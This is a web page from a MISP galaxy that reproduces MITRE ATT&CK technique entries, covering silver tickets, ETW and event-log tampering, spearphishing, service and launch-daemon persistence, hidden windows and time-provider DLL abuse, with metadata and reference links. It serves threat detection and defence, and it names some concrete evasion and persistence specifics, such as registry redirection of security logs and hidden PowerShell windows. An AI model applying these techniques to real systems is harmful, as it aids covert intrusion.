| mitre_data_sources | ['Command: Command Execution', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Containers'] |
Related clusters
To see the related clusters, click here.
Email Accounts - T1585.002
Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing.(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes.(Citation: Free Trial PurpleUrchin)
Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains).(Citation: Mandiant APT1)
To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)
Internal MISP references
UUID 65013dd2-bc61-43e3-afb5-a14c4fa7437a which can be used as unique global reference for Email Accounts - T1585.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1585/002 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/ - webarchive
- https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1585.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Chat Messages - T1552.008
Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.
Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).
Internal MISP references
UUID 9664ad0e-789e-40ac-82e2-d7b17fbe8fb3 which can be used as unique global reference for Chat Messages - T1552.008 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.008 |
| kill_chain | ['attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-Google-Workspace:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['Office 365', 'SaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Silver Ticket - T1558.002
Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)
Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)
Password hashes for target services may be obtained using OS Credential Dumping or Kerberoasting.
Internal MISP references
UUID d273434a-448e-4598-8e14-607f4a0d5e27 which can be used as unique global reference for Silver Ticket - T1558.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1558.002 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Vulnerability Scanning - T1595.002
Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.
These scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).
Internal MISP references
UUID 5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4 which can be used as unique global reference for Vulnerability Scanning - T1595.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1595.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Indicator Blocking - T1562.006
An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.
For example, adversaries may modify the File value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)
ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.
In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.
In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).
Internal MISP references
UUID 74d2a63f-3c7b-4852-92da-02d8fbab16da which can be used as unique global reference for Indicator Blocking - T1562.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/006 - webarchive
- https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events - webarchive
- https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 - webarchive
- https://ptylu.github.io/content/report/report.html?report=25 - webarchive
- https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/ - webarchive
- https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.006 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Sensor Health: Host Status', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Spearphishing Link - T1566.002
Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.
Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, hxxp://google.com@1157586937.(Citation: Mandiant URL Obfuscation 2023)
Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)
Adversaries may also utilize spearphishing links to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)
Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)
Internal MISP references
UUID 2b742742-28c3-4e1b-bab7-8350d6300fa7 which can be used as unique global reference for Spearphishing Link - T1566.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1566/002 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - webarchive
- https://us-cert.cisa.gov/ncas/tips/ST05-016 - webarchive
- https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - webarchive
- https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - webarchive
- https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/ - webarchive
- https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1 - webarchive
- https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing - webarchive
- https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1566.002 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access', 'attack-Office-365:initial-access', 'attack-SaaS:initial-access', 'attack-Google-Workspace:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Email Accounts - T1586.002
Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains).
A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules.
Adversaries can use a compromised email account to hijack existing email threads with targets of interest.
Internal MISP references
UUID 3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b which can be used as unique global reference for Email Accounts - T1586.002 in MISP communities and other software using the MISP galaxy
External references
- https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ - webarchive
- https://attack.mitre.org/techniques/T1586/002 - webarchive
- https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1586.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Service Execution - T1569.002
Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.
PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.
Internal MISP references
UUID f1951e8a-500e-4a26-8803-76d95c4554b4 which can be used as unique global reference for Service Execution - T1569.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1569.002 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Email Addresses - T1589.002
Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.
Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).
Internal MISP references
UUID 69f897fd-12a9-4c89-ad6a-46d2f3c38262 which can be used as unique global reference for Email Addresses - T1589.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1589/002 - webarchive
- https://github.com/gremwell/o365enum - webarchive
- https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/ - webarchive
- https://o365blog.com/post/just-looking/ - webarchive
- https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ - webarchive
- https://www.hackers-arise.com/email-scraping-and-maltego - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1589.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Spearphishing Attachment - T1598.002
Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.
Internal MISP references
UUID 8982a661-d84c-48c0-b4ec-1db29c6cf3bc which can be used as unique global reference for Spearphishing Attachment - T1598.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1598/002 - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - webarchive
- https://github.com/ryhanson/phishery - webarchive
- https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/ - webarchive
- https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1598.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Windows Service - T1543.003
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.
To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the sc sdset command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as Get-Service, sc query, and services.exe.(Citation: SANS 1)(Citation: SANS 2)
Internal MISP references
UUID 2959d63f-73fd-46a1-abd2-109d7dcede32 which can be used as unique global reference for Windows Service - T1543.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1543/003 - webarchive
- https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 - webarchive
- https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection - webarchive
- https://technet.microsoft.com/en-us/library/cc772408.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://unit42.paloaltonetworks.com/acidbox-rare-malware/ - webarchive
- https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/ - webarchive
- https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/ - webarchive
- https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ - webarchive
- https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - webarchive
- https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1543.003 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Driver: Driver Load', 'File: File Metadata', 'Network Traffic: Network Traffic Flow', 'Process: OS API Execution', 'Process: Process Creation', 'Service: Service Creation', 'Service: Service Modification', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Code Repositories - T1593.003
Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing).
Note: This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.
Internal MISP references
UUID 70910fbd-58dc-4c1c-8c48-814d11fcd022 which can be used as unique global reference for Code Repositories - T1593.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1593.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Contact List - T1636.003
Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the Contacts framework.
If the device has been jailbroken or rooted, an adversary may be able to access the Contact List without the user’s knowledge or approval.
Internal MISP references
UUID e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86 which can be used as unique global reference for Contact List - T1636.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1636.003 |
| kill_chain | ['mobile-attack-iOS:collection', 'mobile-attack-Android:collection'] |
| mitre_platforms | ['iOS', 'Android'] |
Related clusters
To see the related clusters, click here.
Launch Daemon - T1543.004
Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)
Internal MISP references
UUID 573ad264-1371-4ae0-8482-d2673b719dba which can be used as unique global reference for Launch Daemon - T1543.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1543/004 - webarchive
- https://bradleyjkemp.dev/post/launchdaemon-hijacking/ - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - webarchive
- https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - webarchive
- https://www.real-world-systems.com/docs/launchdPlist.1.html - webarchive
- https://www.sentinelone.com/blog/how-malware-persists-on-macos/ - webarchive
- https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1543.004 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Creation', 'Service: Service Modification'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Container Service - T1543.005
Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.
For example, by using the docker run or podman run command with the restart=always directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)
In Kubernetes environments, DaemonSets allow an adversary to persistently Deploy Containers on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the nodeSelector or nodeName fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)
Note that containers can also be configured to run as Systemd Services.(Citation: Podman Systemd)(Citation: Docker Systemd)
Internal MISP references
UUID b0e54bf7-835e-4f44-bd8e-62f431b9b76a which can be used as unique global reference for Container Service - T1543.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1543/005 - webarchive
- https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 - webarchive
- https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters - webarchive
- https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign - webarchive
- https://docs.docker.com/config/containers/start-containers-automatically/ - webarchive
- https://gtfobins.github.io/gtfobins/docker/ - webarchive
- https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/ - webarchive
- https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/ - webarchive
- https://www.redhat.com/sysadmin/podman-run-pods-systemd-services - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1543.005 |
| kill_chain | ['attack-Containers:persistence', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Container: Container Creation'] |
| mitre_platforms | ['Containers'] |
Related clusters
To see the related clusters, click here.
Hidden Window - T1564.003
Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)
On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
Similarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)
In addition, Windows supports the CreateDesktop() API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.
Internal MISP references
UUID cbb66055-0325-4111-aca0-40547b6ad5b0 which can be used as unique global reference for Hidden Window - T1564.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/003 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - webarchive
- https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1 - webarchive
- https://securityintelligence.com/anatomy-of-an-hvnc-attack/ - webarchive
- https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.003 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Time Providers - T1547.003
Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the DllName value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)
Internal MISP references
UUID 61afc315-860c-4364-825d-0d62b2e91edc which can be used as unique global reference for Time Providers - T1547.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1547/003 - webarchive
- https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings - webarchive
- https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top - webarchive
- https://github.com/scottlundgren/w32time - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.003 |
